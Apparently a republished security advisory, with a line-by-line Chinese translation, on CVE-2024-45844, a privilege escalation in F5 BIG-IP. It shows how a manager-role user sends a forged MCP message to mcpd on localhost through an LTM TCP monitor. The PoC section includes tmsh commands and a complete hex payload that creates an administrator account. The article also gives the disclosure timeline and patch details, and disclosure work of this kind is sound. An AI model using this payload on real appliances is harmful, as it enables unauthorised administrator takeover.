CVE-2024-45844: Privilege escalation in F5 BIG-IP

IoT 3天前 admin
72 0 0

The previous articles Post-Exploiting an F5 BIG-IP: root, and now what? and Deep diving into F5 Secure Vault helped us to get a better understanding of the internal F5 mechanisms.
之前的文章后开发 F5 BIG-IP:根,现在又如何?深入研究 F5 Secure Vault 帮助我们更好地了解了 F5 的内部机制。

It also led us to discover a privilege escalation that has now been assigned CVE-2024-45844. After finding this issue, we discovered prior work from Ron Bowes on MCP messages that greatly simplifies understanding and exploitation of these kind of issues – thus is recommended reading.
它还让我们发现了一个权限提升,该权限提升现已被分配为 CVE-2024-45844。在发现此问题后,我们发现了 Ron Bowes 之前关于 MCP 消息的工作,这些工作极大地简化了对此类问题的理解和利用 – 因此推荐阅读。

NOTE: All tests depicted below were performed on F5 BIGIP-17.1.1.2-0.0.10 LTM installed from the official VMWare image for this version (sha256: aff4610bdb4f4067c7305a63a7a27f24c47dbf99e55fbed79eed3de3796b5fd6).
注意:下面描述的所有测试均在从此版本的官方 VMWare 映像 (sha256: aff4610bdb4f4067c7305a63a7a27f24c47dbf99e55fbed79eed3de3796b5fd6 ) 安装的 F5 BIGIP-17.1.1.2-0.0.10 LTM 上执行。

Table of contents 目录

  1. MCP
  2. MCP Messages MCP 消息
  3. CVE-2024-45844 CVE-2024-45844漏洞
  4. F5 response F5 响应
  5. References 引用

1. MCP

As explained by Ron Bowes, MCP (Master Control Program) is a proprietary database used internally in F5 BIG-IP appliances.
正如 Ron Bowes 所解释的,MCP(主控制程序)是 F5 BIG-IP 设备内部使用的专有数据库。

It is possible to interact with this database by sending MCP messages which are handled by the mcpd daemon. There are two ways to send MCP messages to the mcpd daemon:
可以通过发送由 mcpd 守护程序处理的 MCP 消息来与此数据库进行交互。有两种方法可以将 MCP 消息发送到 mcpd 守护程序:

  • Through the UNIX domain socket /var/run/mcp, as already discovered by Ron Bowes.
    通过 UNIX 域套接字 /var/run/mcp,正如 Ron Bowes 已经发现的那样。
  • Through the network socket listening on 127.0.0.1:6666 (not publicly known as far as we know).
    通过网络套接字监听 127.0.0.1:6666(据我们所知,尚未公开)。

2. MCP messages 2. MCP 消息

Interactions with the MCP database do not require authentication, and MCP messages do not have any specific protection (like encryption or anti-relay).
与 MCP 数据库的交互不需要身份验证,并且 MCP 消息没有任何特定的保护(如加密或反中继)。

Most of the F5 configuration relies on MCP messages under the hood: adding an iRule, modifying a NAT policy, adding a new pool member, etc.
大多数 F5 配置都依赖于后台的 MCP 消息:添加 iRule、修改 NAT 策略、添加新的池成员等。

From a security point of view, it means that any attacker able to send a MCP message can, for example, create a new root-level account, change any user’s role, or modify any user’s password.
从安全角度来看,这意味着任何能够发送 MCP 消息的攻击者都可以创建新的根级帐户、更改任何用户的角色或修改任何用户的密码。

How can an attacker abuse this behavior to perform privilege escalation?
攻击者如何滥用此行为来执行权限提升?

Unix domain socket Unix 域套接字

The UNIX domain socket /var/run/mcp has the permissions 777: anyone on the Linux system can interact with MCP.
UNIX 域套接字 /var/run/mcp 具有权限 777:Linux 系统上的任何人都可以与 MCP 交互。

The limitation is that you need to execute a bash command like socat. However, F5 limits which users can have access to bash on BIG-IP systems. Only the default root and users with the Administrator role can have bash access. The attack is pointless here: you need to have administrator access to become administrator.
限制是您需要执行像 socat 这样的 bash 命令。但是,F5 限制了哪些用户可以在 BIG-IP 系统上访问 bash。只有默认 root 和具有 Administrator 角色的用户才能拥有 bash 访问权限。这里的攻击毫无意义:您需要具有管理员访问权限才能成为管理员。

The scenario becomes interesting to exploit via a fraudulent access, for example if the attacker has obtained arbitrary command execution through the webserver, running as the apache user (a low-privileged account used to run the web server). By using the mcp-privesc.rb script in the refreshing-mcp-tool repository or by sending a network request like shown below, it is easy to perform a privilege escalation and become administrator.
通过欺诈访问来利用这种情况变得很有趣,例如,如果攻击者通过 Web 服务器获得了任意命令执行,以 apache 用户(用于运行 Web 服务器的低权限帐户)运行。通过使用 refreshing-mcp-tool 存储库中的 mcp-privesc.rb 脚本或通过发送如下所示的网络请求,可以轻松执行权限提升并成为管理员。

This is a known and “WONT FIX” issue by F5:
这是 F5 的已知“WONT FIX”问题:

The current architecture of mcpd (requiring no authentication) is a known issue and is not something that F5 will be changing in BIG-IP.
mcpd 的当前架构(不需要身份验证)是一个已知问题,F5 不会在 BIG-IP 中更改。

Network socket 网络套接字

To send a request to the network socket 127.0.0.1:6666, the attacker needs to have local access.
要向网络套接字 127.0.0.1:6666 发送请求,攻击者需要具有本地访问权限。

Once again, executing the command nc is possible but requires bash access, as explained above.
同样,执行命令 nc 是可能的,但需要 bash 访问权限,如上所述。

Less privileged users use tmsh (Traffic Management Shell). It is a restricted command line interface used for managing BIG-IP systems.
权限较低的用户使用 tmsh (Traffic Management Shell)。它是一个用于管理 BIG-IP 系统的受限命令行界面。

By digging into the documentation, we realized we need to hijack a command in order to send a MCP message locally and thus perform privilege escalation.
通过深入研究文档,我们意识到我们需要劫持一个命令,以便在本地发送 MCP 消息,从而执行权限提升。

3. CVE-2024-45844 3. CVE-2024-45844 漏洞

Generating a MCP message 生成 MCP 消息

An MCP message payload must be created to exploit the privilege escalation. An MCP message creating a new administrator user is an easy way to achieve this goal, even though not the stealthiest.
必须创建 MCP 消息有效负载才能利用权限提升。创建新的管理员用户的 MCP 消息是实现此目标的一种简单方法,即使不是最隐蔽的方法。

There are two ways to easily create an MCP message:
有两种方法可以轻松创建 MCP 消息:

  • By capturing it for example via strace on any test instance and then replaying it.
    通过捕获它,例如,在任何测试实例上通过 strace,然后重放它。
  • By using a generation tool like mcp-privesc.rb.
    通过使用 mcp-privesc.rb 等生成工具。

Once forged, the MCP message must be sent to 127.0.0.1:6666.
伪造后,MCP 消息必须发送到 127.0.0.1:6666

LTM Monitors LTM 监视器

LTM (Local Traffic Manager) monitors are used to regularly check if a service is answering as expected. LTM monitors can watch over multiple services: MySQL, LDAP, SMB, HTTP, etc.
LTM (Local Traffic Manager) 监视器用于定期检查服务是否按预期响应。LTM 监视器可以监视多种服务:MySQL、LDAP、SMB、HTTP 等。

Depending on the monitor type, arbitrary data (like a custom HTTP header for an HTTP monitor) can be sent to properly check a service.
根据监视器类型,可以发送任意数据(如 HTTP 监视器的自定义 HTTP 标头)以正确检查服务。

Interestingly for us the ltm monitor tcp command can be used to monitor if a TCP network service is up. This monitor allows specifying a raw TCP message to send.
有趣的是,ltm monitor tcp 命令可用于监控 TCP 网络服务是否启动。此监视器允许指定要发送的原始 TCP 消息。

The user must have at least the manager role to create an LTM monitor.
用户必须至少具有 manager 角色才能创建 LTM 监控器。

It is not possible to directly create a monitor pointing to localhost:
无法直接创建指向 localhost 的监视器:

manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# create privesc destination 127.0.0.1
Syntax Error: invalid monitor destination "127.0.0.1"

However, it is possible to create an LTM monitor and then change the destination to localhost.
但是,可以创建一个 LTM 监视器,然后将目标更改为 localhost。

PoC 概念验证

For demonstration purposes, we use an administrator account, root, to create a manager account, manager_almond, which will exploit the privilege escalation.
出于演示目的,我们使用管理员账户 root 创建一个经理账户 manager_almond,这将利用权限提升。

1. Use an administrator user to create a manager user:
1. 使用管理员用户创建管理员用户:

[root@f5-bigip:Active:Standalone] ~ $ tmsh create /auth user manager_almond prompt-for-password partition-access add { all-partitions { role manager } } shell tmsh

2. Log in with the newly created account:
2. 使用新创建的帐户登录:

user@attackervm:~ $ ssh manager_almond@<IP>

3. In the TMSH prompt:
3. 在 TMSH 提示符中:

manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)$ ltm monitor tcp #enter the menu ltm monitor tcp
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ create privesc #creating a monitor named privesc
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ modify privesc send '\x00\x00\x00\x36\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x10\x28\x00\x0d\x00\x00\x00\x2e\x10\x29\x00\x0f\x00\x00\x00\x06\x00\x04\x72\x6f\x6f\x74\x64\xb6\x00\x0f\x00\x00\x00\x16\x00\x14\x74\x6d\x73\x68\x2c\x20\x74\x6d\x73\x68\x2d\x70\x69\x64\x2d\x31\x32\x38\x37\x30\x00\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0b\x61\x00\x0d\x00\x00\x00\x1f\x10\x04\x00\x0d\x00\x00\x00\x15\x10\x06\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x00\x00\x00\x00\x0b\x5a\x00\x0d\x00\x00\x00\x36\x10\x04\x00\x0d\x00\x00\x00\x2c\x10\x08\x00\x0f\x00\x00\x00\x07\x00\x05\x5b\x41\x6c\x6c\x5d\x10\x06\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x10\x07\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x5a\x00\x0d\x00\x00\x00\x4c\x0b\x11\x00\x0d\x00\x00\x00\x42\x0b\x12\x00\x0f\x00\x00\x00\x0b\x00\x09\x61\x6c\x6d\x6f\x6e\x64\x31\x31\x31\x0b\x19\x00\x0f\x00\x00\x00\x06\x00\x04\x62\x61\x73\x68\x0b\x13\x00\x0f\x00\x00\x00\x0f\x00\x0d\x41\x6c\x6d\x6f\x6e\x64\x5f\x4f\x66\x66\x53\x65\x63\x0b\x14\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00' #set the MCP message that will create the administrator user almond111 with the password Almond_OffSec
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ run privesc destination 127.0.0.1:6666 #Run the monitor, i.e. send the data above to 127.0.0.1:6666

4. The user almond111 has been created!
4. 用户 almond111 已创建!

The PoC performs privilege escalation from a user having the manager role (the minimum privilege level required to create an LTM monitor) to administrator.
PoC 执行从具有 manager 角色(创建 LTM 监视器所需的最低权限级别)的用户到 administrator 的权限提升。

4. F5 response 4. F5 响应

Timeline 时间线

2024-05-29: Report sent to F5.
2024-05-29:报告已发送给 F5。

2024-05-30: First response by F5.
2024-05-30:F5 的首次响应。

2024-06-19: Vulnerability acknowledged by F5.
2024-06-19:F5 承认漏洞。

2024-09-29: BIG-IP patched versions released (17.1.1.4, 16.1.5 and 15.1.10.5).
2024 年 9 月 29 日:发布了 BIG-IP 修补版本(17.1.1.4、16.1.5 和 15.1.10.5)。

2024-10-11: F5 Response: 2024-10-11:F5 响应:

Internal daemons, such as mcpd, are only reachable on localhost addresses and local UNIX sockets which are not accessible externally, and only to privileged processes running on the BIG-IP itself. BIG-IP is not a general purpose, multi-user platform. F5 advises only allowing command line (CLI) access to trusted users, as all users with CLI access are granted Administrator privileges. BIG-IP Next uses a new architecture, built around a zero-trust model, ensuring that internal messages are protected.
内部守护程序(如 mcpd)只能在 localhost 地址和本地 UNIX 套接字上访问,而这些套接字无法从外部访问,并且只能由在 BIG-IP 本身上运行的特权进程访问。BIG-IP 不是一个通用的多用户平台。F5 建议仅允许受信任的用户进行命令行 (CLI) 访问,因为所有具有 CLI 访问权限的用户都被授予管理员权限。BIG-IP Next 使用围绕零信任模型构建的新架构,确保内部消息受到保护。

2024-10-16: F5 Security advisory released. F5 Quarterly Security Notification (October 2024) released.
2024 年 10 月 16 日:F5 安全公告发布。F5 季度安全通知(2024 年 10 月)已发布。

2024-10-16: CVE-2024-45844 issued, CVSSv4.0: 8.6.
2024-10-16:CVE-2024-45844 发布,CVSSv4.0:8.6。

2024-10-17: Release of this article.
2024-10-17:本文发布。

Patch 补丁

The latest version 17.1.1.4 was tested.
测试了最新版本 17.1.1.4。

It is no longer possible to use the LTM TCP monitor to send a message locally. An error is raised if the destination is not an IPv4 address (4 blocks separated by dots) or if the IP address starts by 127:
现在无法再使用 LTM TCP 监视器在本地发送消息。如果目标不是 IPv4 地址(用点分隔的 4 个块)或 IP 地址以 127 开头,则会引发错误:

manager_almond2@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# run privesc destination 127.0.0.2:6666
01071e25:3: Invalid Monitor Address for /Common/privesc.

5. References

原文始发于almond:CVE-2024-45844: Privilege escalation in F5 BIG-IP

版权声明:admin 发表于 2024年10月19日 上午10:30。
转载请注明:CVE-2024-45844: Privilege escalation in F5 BIG-IP | CTF导航

相关文章